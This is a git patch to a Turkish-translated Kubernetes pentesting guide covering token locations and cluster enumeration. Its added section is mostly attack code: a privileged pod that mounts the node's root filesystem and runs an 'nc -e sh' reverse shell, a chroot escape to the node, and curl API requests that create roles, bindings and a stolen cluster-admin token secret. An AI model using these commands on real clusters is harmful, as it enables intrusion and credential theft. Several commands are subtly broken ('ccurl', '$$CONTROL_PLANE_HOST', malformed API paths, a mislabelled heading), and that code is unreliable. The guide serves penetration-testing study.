From ca5339cf7535076d5144db5b2baf82ad992d6dfa Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 22 Jan 2025 09:51:33 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera --- src/SUMMARY.md | 14 +- .../kubernetes-enumeration.md | 268 ++++++++++++++++-- 2 files changed, 246 insertions(+), 36 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 7ab73713c..6172b28d3 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -451,8 +451,8 @@ - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md) + - [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md) + - [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md) - [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md) - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) @@ -462,16 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) - - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) - - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index bdb62bac5..d8f83fb04 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -## Kubernetes Tokenları +## Kubernetes Tokens Eğer bir makineye erişiminiz varsa, kullanıcı bazı Kubernetes platformlarına erişim sağlayabilir. Token genellikle **env var `KUBECONFIG`** tarafından işaret edilen bir dosyada veya **`~/.kube`** içinde bulunur. -Bu klasörde **API sunucusuna bağlanmak için tokenlar ve yapılandırmalar içeren yapılandırma dosyaları** bulabilirsiniz. Bu klasörde ayrıca daha önce alınan bilgileri içeren bir önbellek klasörü de bulabilirsiniz. +Bu klasörde **API sunucusuna bağlanmak için token ve yapılandırmalar içeren** yapılandırma dosyaları bulabilirsiniz. Bu klasörde ayrıca daha önce alınan bilgileri içeren bir önbellek klasörü de bulabilirsiniz. -Eğer bir Kubernetes ortamında bir pod'u ele geçirdiyseniz, tokenlar ve mevcut K8 ortamı hakkında bilgi bulabileceğiniz başka yerler de vardır: +Eğer bir Kubernetes ortamında bir pod'u ele geçirdiyseniz, mevcut K8 ortamı hakkında token ve bilgi bulabileceğiniz başka yerler de vardır: -### Servis Hesabı Tokenları +### Service Account Tokens Devam etmeden önce, Kubernetes'te bir servisin ne olduğunu bilmiyorsanız, **bu bağlantıyı takip etmenizi ve en azından Kubernetes mimarisi hakkında bilgi okumanızı öneririm.** Kubernetes [belgelerinden](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) alınmıştır: -_“Bir pod oluşturduğunuzda, bir servis hesabı belirtmezseniz, otomatik olarak aynı ad alanındaki_ default _servis hesabına atanır.”_ +_“Bir pod oluşturduğunuzda, bir hizmet hesabı belirtmezseniz, otomatik olarak aynı ad alanındaki_ default _hizmet hesabına atanır.”_ **ServiceAccount**, Kubernetes tarafından yönetilen ve bir pod içinde çalışan süreçler için bir kimlik sağlamak amacıyla kullanılan bir nesnedir.\ -Her servis hesabının ona bağlı bir sırrı vardır ve bu sır, bir bearer token içerir. Bu, iki taraf arasında iddiaları güvenli bir şekilde temsil etmenin bir yolu olan JSON Web Token (JWT) 'dır. +Her hizmet hesabının ona bağlı bir sırrı vardır ve bu sır, bir bearer token içerir. Bu, iki taraf arasında talepleri güvenli bir şekilde temsil etmenin bir yolu olan JSON Web Token (JWT) 'dir. Genellikle **bir** dizin: @@ -31,11 +31,11 @@ aşağıdaki dosyaları içerir: - **ca.crt**: Kubernetes iletişimlerini kontrol etmek için CA sertifikasıdır. - **namespace**: Mevcut ad alanını belirtir. -- **token**: Mevcut pod'un **servis tokenını** içerir. +- **token**: Mevcut pod'un **hizmet token'ını** içerir. -Artık token'a sahip olduğunuza göre, API sunucusunu **`KUBECONFIG`** ortam değişkeni içinde bulabilirsiniz. Daha fazla bilgi için `(env | set) | grep -i "kuber|kube`**`"`** komutunu çalıştırın. +Artık token'ınız olduğuna göre, API sunucusunu **`KUBECONFIG`** ortam değişkeni içinde bulabilirsiniz. Daha fazla bilgi için `(env | set) | grep -i "kuber|kube`**`"`** komutunu çalıştırın. -Servis hesabı tokenı, **sa.key** dosyasında bulunan anahtar ile imzalanır ve **sa.pub** tarafından doğrulanır. +Hizmet hesabı token'ı, **sa.key** dosyasında bulunan anahtar ile imzalanır ve **sa.pub** tarafından doğrulanır. **Kubernetes** üzerindeki varsayılan konum: @@ -47,24 +47,24 @@ Servis hesabı tokenı, **sa.key** dosyasında bulunan anahtar ile imzalanır ve ### Hot Pods -_**Hot pods,**_ ayrıcalıklı bir servis hesabı tokenı içeren pod'lardır. Ayrıcalıklı bir servis hesabı tokenı, gizli bilgileri listeleme, pod oluşturma gibi ayrıcalıklı görevleri yapma iznine sahip bir token'dır. +_**Hot pods,**_ ayrıcalıklı bir hizmet hesabı token'ı içeren pod'lardır. Ayrıcalıklı bir hizmet hesabı token'ı, gizli bilgileri listeleme, pod oluşturma gibi ayrıcalıklı görevleri yapma iznine sahip bir token'dır. ## RBAC -Eğer **RBAC**'nin ne olduğunu bilmiyorsanız, **bu bölümü okuyun**. +Eğer **RBAC**'ın ne olduğunu bilmiyorsanız, **bu bölümü okuyun**. -## GUI Uygulamaları +## GUI Applications -- **k9s**: Terminalden bir Kubernetes kümesini listeleyen bir GUI. Komutları kontrol edin [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). `:namespace` yazın ve tümünü seçerek tüm ad alanlarındaki kaynakları arayın. +- **k9s**: Terminalden bir Kubernetes kümesini listeleyen bir GUI. Komutları kontrol edin [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). `:namespace` yazın ve ardından tüm ad alanlarındaki kaynakları aramak için hepsini seçin. - **k8slens**: Birkaç gün ücretsiz deneme sunar: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet Bir K8s ortamını listelemek için şunlara ihtiyacınız var: -- **geçerli bir kimlik doğrulama tokenı**. Önceki bölümde bir kullanıcı tokenı ve bir servis hesabı tokenı için nerede arama yapacağımızı gördük. +- **geçerli bir kimlik doğrulama token'ı**. Önceki bölümde bir kullanıcı token'ı ve bir hizmet hesabı token'ı için nerede arama yapacağımızı gördük. - **Kubernetes API'sinin adresi** (_**https://host:port**_). Bu genellikle ortam değişkenlerinde ve/veya kube yapılandırma dosyasında bulunabilir. -- **Opsiyonel**: **API sunucusunu doğrulamak için ca.crt**. Bu, tokenın bulunabileceği aynı yerlerde bulunabilir. API sunucusu sertifikasını doğrulamak için yararlıdır, ancak `kubectl` ile `--insecure-skip-tls-verify` veya `curl` ile `-k` kullanarak buna ihtiyacınız olmayacaktır. +- **Opsiyonel**: **API sunucusunu doğrulamak için ca.crt**. Bu, token'ın bulunabileceği aynı yerlerde bulunabilir. API sunucusu sertifikasını doğrulamak için yararlıdır, ancak `kubectl` ile `--insecure-skip-tls-verify` veya `curl` ile `-k` kullanarak buna ihtiyacınız olmayacaktır. Bu detaylarla **kubernetes'i listeleyebilirsiniz**. Eğer **API** bir nedenle **İnternet** üzerinden **erişilebilir** ise, bu bilgiyi indirip platformu kendi makinenizden listeleyebilirsiniz. @@ -76,7 +76,7 @@ Ancak genellikle **API sunucusu dahili bir ağdadır**, bu nedenle ona erişmek ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Eğer **`list`** iznine sahipseniz, bir varlık türünü listelemek için API istekleri yapmanıza izin verilir (_`kubectl`_ içindeki `get` seçeneği): +Eğer **`list`** iznine sahipseniz, bir tür varlığı listelemek için API istekleri yapmanıza izin verilir (_`kubectl`'deki `get` seçeneği_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments @@ -94,7 +94,7 @@ GET /apis/apps/v1/watch/deployments [DEPRECATED] Bir değişiklik olduğunda (veya yeni bir tane oluşturulduğunda) size bir Deployment'ın tam manifestosunu döndüren bir akış bağlantısı açarlar. > [!CAUTION] -> Aşağıdaki `kubectl` komutları nesneleri listelemenin sadece nasıl yapılacağını gösterir. Verilere erişmek istiyorsanız `get` yerine `describe` kullanmalısınız. +> Aşağıdaki `kubectl` komutları, nesneleri listelemenin sadece nasıl olduğunu gösterir. Verilere erişmek istiyorsanız `get` yerine `describe` kullanmalısınız. ### curl Kullanarak @@ -109,11 +109,11 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> Varsayılan olarak pod, **kube-api sunucusuna** **`kubernetes.default.svc`** alan adı üzerinden **erişebilir** ve burada kubernetes DNS sunucusunun adresini bulacağınız **`/etc/resolv.config`** dosyasında kube ağını görebilirsiniz (aynı aralığın ".1" kısmı kube-api uç noktasıdır). +> Varsayılan olarak pod, **kube-api sunucusuna** **`kubernetes.default.svc`** alan adı üzerinden **erişebilir** ve burada kubernetes DNS sunucusunun adresini bulacağınız **`/etc/resolv.config`** dosyasında kube ağını görebilirsiniz (aynı aralıktaki ".1" kube-api uç noktasıdır). ### kubectl Kullanımı -Token ve API sunucusunun adresine sahip olduğunuzda, buradaki gibi erişmek için kubectl veya curl kullanırsınız: +Token ve API sunucusunun adresine sahip olduğunuzda, buradaki gibi erişmek için kubectl veya curl kullanabilirsiniz: Varsayılan olarak, APISERVER `https://` şeması ile iletişim kurmaktadır. ```bash @@ -121,11 +121,11 @@ alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls- ``` > Eğer URL'de `https://` yoksa, Bad Request gibi bir hata alabilirsiniz. -Aşağıda, erişim sağladığınız yeni K8s'i sıralı bir şekilde enumerate etmek ve anlamak için farklı seçenekleri sunmak amacıyla bölümler bulunmaktadır. +Aşağıda, erişim sağladığınız yeni K8s'i sıralı bir şekilde listelemek ve anlamak için farklı seçenekleri sunmak amacıyla yazılmıştır. -`kubectl`'ün gönderdiği HTTP isteğini bulmak için `-v=8` parametresini kullanabilirsiniz. +`kubectl`'nin gönderdiği HTTP isteğini bulmak için `-v=8` parametresini kullanabilirsiniz. -#### MitM kubectl - kubectl'ü Proxy'leme +#### MitM kubectl - kubectl'yi Proxy'leme ```bash # Launch burp # Set proxy @@ -328,7 +328,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ ### Servisleri Al -Kubernetes **servisleri**, bir **servisi belirli bir port ve IP'de açmak için** kullanılır (bu, aslında servisi sunan pod'lara yük dengeleyici olarak işlev görecektir). Bu, saldırmaya çalışmak için diğer servisleri nerede bulabileceğinizi bilmek açısından ilginçtir. +Kubernetes **servisleri**, **belirli bir port ve IP'de bir servisi açmak için** kullanılır (bu, aslında servisi sunan pod'lara yük dengeleyici olarak işlev görecektir). Bu, saldırmayı denemek için diğer servisleri nerede bulabileceğinizi bilmek açısından ilginçtir. {{#tabs }} {{#tab name="kubectl" }} @@ -365,7 +365,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### DaemonSet'leri Al -**DaemonSet'ler**, **belirli bir pod'un kümenin tüm düğümlerinde** (veya seçilenlerde) çalıştığından emin olmayı sağlar. DaemonSet'i silerseniz, onun tarafından yönetilen pod'lar da kaldırılacaktır. +**DaemonSet'ler**, **belirli bir pod'un kümenin tüm düğümlerinde** (veya seçilenlerde) çalıştığını sağlamaya olanak tanır. DaemonSet'i silerseniz, onun tarafından yönetilen pod'lar da kaldırılacaktır. {{#tabs }} {{#tab name="kubectl" }} @@ -399,7 +399,7 @@ kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs {{#endtab }} {{#endtabs }} -### configMap al +### configMap Al configMap her zaman kubernetes'te çalışan uygulamalara sağlanan birçok bilgi ve yapılandırma dosyası içerir. Genellikle, diğer iç/dış hizmetlere bağlanmak ve doğrulamak için kullanılan birçok şifre, gizli anahtar ve token bulabilirsiniz. @@ -439,7 +439,7 @@ k get all {{#endtab }} {{#endtabs }} -### **Helm tarafından yönetilen tüm kaynakları alın** +### **Helm tarafından yönetilen tüm kaynakları al** {{#tabs }} {{#tab name="kubectl" }} @@ -459,9 +459,13 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} +## Küme ile kubectl kullanmadan etkileşim kurma + +Kubernetes kontrol düzleminin bir REST-ful API sunduğunu görebildiğiniz için, HTTP isteklerini el ile oluşturabilir ve bunları **curl** veya **wget** gibi diğer araçlarla gönderebilirsiniz. + ### Pod'dan kaçış -Yeni pod'lar oluşturabiliyorsanız, bunlardan node'a kaçış yapabilirsiniz. Bunu yapmak için bir yaml dosyası kullanarak yeni bir pod oluşturmanız, oluşturulan pod'a geçiş yapmanız ve ardından node'un sistemine chroot yapmanız gerekir. Mevcut pod'ları yaml dosyası için referans olarak kullanabilirsiniz çünkü mevcut görüntüleri ve yolları gösterirler. +Yeni pod'lar oluşturabiliyorsanız, bunlardan düğüme kaçış yapabilirsiniz. Bunu yapmak için bir yaml dosyası kullanarak yeni bir pod oluşturmanız, oluşturulan pod'a geçiş yapmanız ve ardından düğümün sistemine chroot yapmanız gerekir. Mevcut görüntüleri ve yolları gösterdikleri için yaml dosyası için referans olarak zaten var olan pod'ları kullanabilirsiniz. ```bash kubectl get pod [-n ] -o yaml ``` @@ -505,16 +509,222 @@ Bundan sonra pod'u oluşturursunuz. ```bash kubectl apply -f attacker.yaml [-n ] ``` -Artık oluşturulan pod'a aşağıdaki gibi geçiş yapabilirsiniz. +Artık oluşturulan pod'a aşağıdaki gibi geçiş yapabilirsiniz ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -Ve sonunda düğümün sistemine chroot yaparsınız. +Ve sonunda node'un sistemine chroot edersiniz. ```bash chroot /root /bin/bash ``` Bilgi alındı: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +### Yetkili bir pod oluşturma + +İlgili yaml dosyası aşağıdaki gibidir: +```yaml +apiVersion: v1 +kind: Pod +metadata: +name: everything-allowed-exec-pod +labels: +app: pentest +spec: +hostNetwork: true +hostPID: true +hostIPC: true +containers: +- name: everything-allowed-pod +image: alpine +securityContext: +privileged: true +volumeMounts: +- mountPath: /host +name: noderoot +command: [ "/bin/sh", "-c", "--" ] +args: [ "nc -e sh" ] +#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name +volumes: +- name: noderoot +hostPath: +path: / +``` +Pod'u curl ile oluşturun: +```bash +CONTROL_PLANE_HOST="" +TOKEN="" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 478' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Bir pod'u sil + +curl ile bir pod'u sil: +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +POD_NAME="everything-allowed-exec-pod" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" +``` +### Bir Hizmet Hesabı Oluşturun +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Length: 109' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Bir Hizmet Hesabını Silme +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +SA_NAME="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" +``` +### Bir Rol Oluşturun +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'Accept: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 203' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Bir Rolü Sil +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" +``` +### Bir Rol Bağlantısı Oluşturun +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 816' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Bir Rol Bağlantısını Sil +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_BINDING_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" +``` +### Bir Sırrı Sil +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 219' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Bir Sırrı Sil +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +SECRET_NAME="" + +ccurl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'Accept: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" +``` ## Referanslar {{#ref}}